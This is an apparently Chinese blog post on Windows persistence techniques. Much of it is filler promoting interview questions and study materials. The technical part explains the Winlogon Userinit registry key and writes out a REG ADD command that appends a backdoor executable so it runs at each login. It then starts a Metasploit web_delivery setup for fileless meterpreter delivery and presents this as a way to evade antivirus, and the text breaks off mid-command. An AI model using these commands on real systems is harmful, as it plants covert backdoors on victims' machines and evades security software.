2024年最新Windows权限维持技术总结、复现_cs权限维持，网络安全开发技术总结

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

0x01 winlogon helper

1.1 简介

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的作用是指定用户登录时 Winlogon 运行的程序。默认情况下，Winlogon 运行 Userinit.exe（运行登录脚本），重新建立网络连接，然后启动 Windows 用户界面 Explorer.exe。可以更改此条目的值以添加或删除程序。例如，要在 Windows 资源管理器用户界面启动之前运行某个程序，可以将该程序的名称替换为该条目的值中的 Userinit.exe，然后在该程序中包含启动 Userinit.exe 的指令。

1.2 实验环境

• Windows 7 x64

1.3 利用方法

1.3.1 后门程序

Userinit 键默认的值为C:\Windows\system32\userinit.exe,，我们用下面的命令在后面加上我们要启动的后门程序即可。

`REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\Users\admin\Documents\backdoor.exe"`

当用户重新登录时，便会运行我们的后门程序

1.3.2 msf

userinit 优先于很多杀软启动，通过调用 powershell（例如 web_delivery 模块），可以做到无文件落地，实现一定程度的免杀效果。

`# msf命令use exploit/multi/script/web_deliveryset payload windows/x64/meterp